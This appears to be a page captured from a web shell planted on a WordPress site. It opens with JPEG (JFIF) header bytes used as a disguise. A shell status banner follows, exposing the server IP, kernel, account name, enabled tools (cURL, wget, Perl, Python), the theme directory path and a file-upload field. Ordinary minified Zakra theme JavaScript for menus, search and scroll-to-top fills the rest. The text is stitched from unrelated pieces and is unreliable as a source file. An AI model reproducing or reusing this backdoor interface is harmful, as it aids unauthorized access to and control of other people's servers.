????JFIF??x?x????'
Server IP : 104.21.112.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/eaabusiness.com/wp-content/themes/zakra/assets/js/ |
Upload File : |
var ZakraFrontend={toggleMenu:function(e,t,o,n,c){e.addEventListener("click",(function(){this.classList.toggle("zak-mobile-toggle--opened"),t.classList.toggle("zak-mobile-nav--opened"),o&&o.classList.toggle("overlay-show"),t.getElementsByClassName("zak-mobile-nav-close").length||t.insertBefore(n,t.childNodes[0])})),o&&o.addEventListener("click",(function(){this.classList.toggle("overlay-show"),c.classList.toggle("zak-mobile-toggle--opened"),t.classList.toggle("zak-mobile-nav--opened")}))}};window.zakraFrontend=ZakraFrontend,document.addEventListener("DOMContentLoaded",(function(){try{!function(){var e,t,o,n,c,a,l,s,r,i,d=document.getElementById("zak-mobile-nav"),u=document.getElementById("secondary-menu"),m=document.querySelector(".zak-menu-toggle"),g=document.querySelector(".zak-overlay-wrapper"),h=document.getElementById("wpadminbar");if(a=document.getElementById("zak-mobile-nav-close"),document.querySelector(".zak-mobile-nav").addEventListener("click",(function(e){"A"===e.target.tagName&&m.click()})),d&&(e=d.querySelectorAll("li.page_item_has_children, li.menu-item-has-children"),document.body.contains(h)&&h.getBoundingClientRect().height),u&&(t=u.querySelectorAll("li.page_item_has_children, li.menu-item-has-children"),document.body.contains(h)&&h.getBoundingClientRect().height),m&&d&&(a.addEventListener("click",(function(){m.click()})),zakraFrontend.toggleMenu(m,d,g,a,m),m.addEventListener("click",(function(){s=d.querySelectorAll('a, button, input[type="search"]'),s=Array.prototype.slice.call(s),r=s[0],i=s[s.length-1],setTimeout((function(){r.focus()}),100),d.addEventListener("keydown",(function(e){"Tab"===e.key&&(e.shiftKey?document.activeElement===r&&(e.preventDefault(),i.focus()):document.activeElement===i&&(e.preventDefault(),r.focus()))}))}))),e){let t=e.length;for(l=0;l<t;l++)if(null!==(c=(n=e[l]).querySelector(".zak-submenu-toggle"))&&c.addEventListener("click",(function(e){e.preventDefault(),this.parentNode.classList.toggle("submenu--show")})),null!==n.querySelector("a")){var p=n.querySelector("a").getAttribute("href"),k=n.querySelector("a");p&&"#"!==p||k.addEventListener("click",(function(e){e.preventDefault(),d.classList.toggle("zak-mobile-nav--opened"),n.classList.toggle("submenu--show")}))}}if(t){let e=t.length;for(l=0;l<e;l++)null!==(c=(o=t[l]).querySelector(".zak-submenu-toggle"))&&c.addEventListener("click",(function(e){e.preventDefault(),this.parentNode.classList.toggle("zak-submenu--show")})),null!==o.querySelector("a")&&(p=o.querySelector("a").getAttribute("href"),k=o.querySelector("a"),p&&"#"!==p||k.addEventListener("click",(function(e){this.parentNode.classList.toggle("submenu--show")})))}}()}catch(e){console.log(e.message)}var e;(e=document.getElementById("zak-scroll-to-top"))&&(window.addEventListener("scroll",(function(){500<window.scrollY?e.classList.add("zak-scroll-to-top--show"):500>window.scrollY&&e.classList.remove("zak-scroll-to-top--show")})),e.addEventListener("click",(function(e){e.preventDefault(),0!==window.scrollY&&window.scrollTo({top:0,behavior:"smooth"})}))),function(){let e,t,o,n,c,a;function l(e){if("hide"===e)return t.classList.remove("zak-header-search--opened"),c.classList.remove("backdrop"),void a.classList.remove("backdrop");t.classList.toggle("zak-header-search--opened"),c.classList.toggle("backdrop"),a.classList.toggle("backdrop"),t.classList.contains("zak-header-search--opened")&&(setTimeout((function(){console.log(),t.getElementsByTagName("input")[0].focus()}),300),document.querySelector(".zak-search-container").addEventListener("keydown",(function(e){let t=document.querySelector(".zak-search-container").querySelectorAll('input[type="search"],button'),o=t[0],n=t[t.length-1];(9===e.keyCode||"Tab"===e.key)&&(e.shiftKey?document.activeElement===o&&(e.preventDefault(),n.focus()):document.activeElement===n&&(e.preventDefault(),o.focus()))})))}e=document.querySelector(".zak-header-search__toggle"),t=document.querySelector(".zak-main-header"),c=document.querySelector(".zak-content"),a=document.querySelector(".zak-footer"),n=document.querySelector(".zak-header-search .zak-icon--close"),o=function(e,t){for(Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),o=t.length;0<=--o&&t.item(o)!==this;);return-1<o});e&&e!==document;e=e.parentNode)if(e.matches(t))return e;return null},null!==e&&(e.addEventListener("click",(function(e){e.preventDefault(),l()})),n.addEventListener("click",(function(e){t.classList.remove("zak-header-search--opened"),c.classList.remove("backdrop"),a.classList.remove("backdrop")})),document.addEventListener("click",(function(e){e.target.closest;e.target.closest(".zak-main-header")||e.target.closest(".zak-icon-search")||l("hide")})),document.addEventListener("keyup",(function(e){t.classList.contains("zak-header-search--opened")&&"Escape"===e.key&&l("hide")})))}();var t=document.getElementsByTagName("body")[0],o=t.getElementsByClassName(".zak-top-bar")[0];t.classList.contains("has-transparent-header")&&void 0!==o&&o.classList.contains(".zak-top-bar")&&function(e,t){var o=t.offsetHeight,n=document.getElementById("main"),c=document.getElementById("zak-footer");n.style.position="relative",n.style.top=o+"px",c.style.position="relative",c.style.top=o+"px"}(0,o)}));